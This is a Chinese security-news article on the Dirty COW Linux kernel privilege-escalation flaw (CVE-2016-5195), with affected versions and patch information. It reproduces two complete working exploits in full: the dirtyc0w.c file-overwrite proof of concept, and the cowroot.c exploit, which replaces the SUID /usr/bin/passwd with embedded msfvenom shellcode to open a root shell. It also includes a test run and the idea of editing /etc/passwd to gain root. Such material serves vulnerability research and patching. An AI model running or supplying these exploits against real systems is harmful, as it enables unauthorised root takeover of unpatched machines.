猫头鹰
信安舆情早知道

“Dirty COW” Race Condition Privilege Escalation (SUID)

dirtycow

漏洞原因

Linux 内核内存子系统的 COW 机制在处理内存写入时存在竞争,导致只读内存页可能被篡改。

漏洞细节:https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails

漏洞影响

低权限用户可以利用该漏洞写入对自身只读的内存页(包括可写文件系统上对该用户只读的文件)并提权至 root

所有使用 Linux 内核版本 >=2.6.22 的系统,都会受到该漏洞的影响。比如各类 Linux 发行版:RedHat、CentOS、Debian、Ubuntu,OpenSUSE 等,也包括介于 Linux 内核的各类衍生产品,比如 Android 系统的手机和平板电脑、各类基于 Linux 内核的嵌入式设备和智能设备、Docker 镜像等等。

该漏洞的利用代码已在 GitHub 上公开。(这份代码无法在 RHEL/CentOS 5/6 系统上成功利用,但是不代表该漏洞在这些系统上是不可利用的)

漏洞测试

读取 /proc/version 来获取 LinuxKernel 版本:

~ cat /proc/version
Linuxversion 4.4.0-42-generic(buildd@lgw01-13) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.2) )#62-Ubuntu SMP Fri Oct 7 23:11:45 UTC 2016

4.4.0 版本的 Kernel,看样子是受影响的,github 上给出了如下的 POC:

/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;
 
void *madviseThread(void *arg)
{
 char *str;
 str=(char*)arg;
 int i,c=0;
 for(i=0;i<100000000;i++)
 {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
 c+=madvise(map,100,MADV_DONTNEED);
 }
 printf("madvise %d\n\n",c);
}
 
void *procselfmemThread(void *arg)
{
 char *str;
 str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
 int f=open("/proc/self/mem",O_RDWR);
 int i,c=0;
 for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
 lseek(f,(uintptr_t) map,SEEK_SET);
 c+=write(f,str,strlen(str));
 }
 printf("procselfmem %d\n\n", c);
}
 
 
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
 if (argc<3) {
 (void)fprintf(stderr, "%s\n",
 "usage: dirtyc0w target_file new_content");
 return 1; }
 pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
 f=open(argv[1],O_RDONLY);
 fstat(f,&st);
 name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
 map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
 printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
 pthread_create(&pth1,NULL,madviseThread,argv[1]);
 pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
 pthread_join(pth1,NULL);
 pthread_join(pth2,NULL);
 return 0;
}

这个 POC 可以利用该漏洞修改任意文件内容,看下面的测试:

/tmp gcc a.c -lpthread
a.c: Infunction ‘procselfmemThread’:
a.c:28:5:warning: implicit declaration of function ‘lseek’[-Wimplicit-function-declaration]
 lseek(f, map, SEEK_SET);
a.c:29:10:warning: implicit declaration of function ‘write’[-Wimplicit-function-declaration]
 c += write(f, str, strlen(str));
a.c: Infunction ‘main’:
a.c:39:3:warning: implicit declaration of function ‘fstat’[-Wimplicit-function-declaration]
 fstat(f, &st);

调用 gcc 编译这个 payload,报了几个 warning,但还是编译成功了。

/tmp su root -c 'echo 0000 > test'
Password:
/tmp ls -al test
-rw-r--r--1 root root 5 Oct 16 23:52 test

使用 root 权限创建一个其他用户只读的 test 文件,权限为 644,内容为 0000。

/tmp id
uid=1000(Monster) gid=1000(monster) groups=1000(monster)
/tmp ./a.out test 1111
mmap61222000
madvise 0
procselfmem400000000

使用当前用户调用编译出的 a.out 程序把 test 文件的内容修改为 1111,经过漫长的等待以后程序终于执行完成。

/tmp cat test
1111

可以看到结果,test 文件的内容已经被成功修改。

这样的话,只要修改 /etc/passwd 把当前用户的 uid 改成 0 就可以作为 root 登录了。

Exp

https://www.exploit-db.com/exploits/40616/

/*
* (un)comment correct payload first (x86 or x64)!
* 
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd is overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>

void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;

// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";

/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/ 
unsigned char sc[] = {
 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
 0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;

/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
 0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
 0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
 0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
 0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
 0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/

void *madviseThread(void *arg)
{
 char *str;
 str=(char*)arg;
 int i,c=0;
 for(i=0;i<1000000 && !stop;i++) {
 c+=madvise(map,100,MADV_DONTNEED);
 }
 printf("thread stopped\n");
}

void *procselfmemThread(void *arg)
{
 char *str;
 str=(char*)arg;
 int f=open("/proc/self/mem",O_RDWR);
 int i,c=0;
 for(i=0;i<1000000 && !stop;i++) {
 lseek(f,map,SEEK_SET);
 c+=write(f, str, sc_len);
 }
 printf("thread stopped\n");
}

void *waitForWrite(void *arg) {
 char buf[sc_len];

for(;;) {
 FILE *fp = fopen(suid_binary, "rb");

fread(buf, sc_len, 1, fp);

if(memcmp(buf, sc, sc_len) == 0) {
 printf("%s is overwritten\n", suid_binary);
 break;
 }

fclose(fp);
 sleep(1);
 }

stop = 1;

printf("Popping root shell.\n");
 printf("Don't forget to restore /tmp/bak\n");

system(suid_binary);
}

int main(int argc,char *argv[]) {
 char *backup;

printf("DirtyCow root privilege escalation\n");
 printf("Backing up %s.. to /tmp/bak\n", suid_binary);

asprintf(&backup, "cp %s /tmp/bak", suid_binary);
 system(backup);

f = open(suid_binary,O_RDONLY);
 fstat(f,&st);

printf("Size of binary: %d\n", st.st_size);

char payload[st.st_size];
 memset(payload, 0x90, st.st_size);
 memcpy(payload, sc, sc_len+1);

map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

printf("Racing, this may take a while..\n");

pthread_create(&pth1, NULL, &madviseThread, suid_binary);
 pthread_create(&pth2, NULL, &procselfmemThread, payload);
 pthread_create(&pth3, NULL, &waitForWrite, NULL);

pthread_join(pth3, NULL);

return 0;
}

具体利用

exp

测试截图

screen-shot-2016-10-21-at-191734

漏洞修复

目前已知修复了该漏洞的常见发行版和修复的内核版本如下:

  1. Ubuntu 12.04 LTS (3.2.0-113.155)
  2. Ubuntu 14.04 LTS (3.13.0-100.147)
  3. Ubuntu 16.04 LTS (4.4.0-45.66)
  4. Ubuntu 16.10 (4.8.0-26.28)
  5. Debian wheezy (3.2.82-1)
  6. Debian jessie (3.16.36-1+deb8u2)
  7. Debian sid (4.7.8-1)
  8. CentOS / Red Hat 系列操作系统尚未发布修复

Linux各发行版本对于该漏洞相关信息

Red Hat:https://access.redhat.com/security/cve/cve-2016-5195

Debian :https://security-tracker.debian.org/tracker/CVE-2016-5195

Ubuntu :http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-5195.html

更新最新 Linux Kernel 源码,并重新编译。 各大发行版也已经更新 Kernel,也可直接升级最新版本。

详细修复方案请参考:长亭科技

参考

转载请注明来自MottoIN,未经允许不得转载!MottoIN » “Dirty COW” Race Condition Privilege Escalation (SUID)

分享到:更多 ()

评论 抢沙发

评论前必须登录!

 

MottoIN 换一个角度看安全

寻求报道联系我们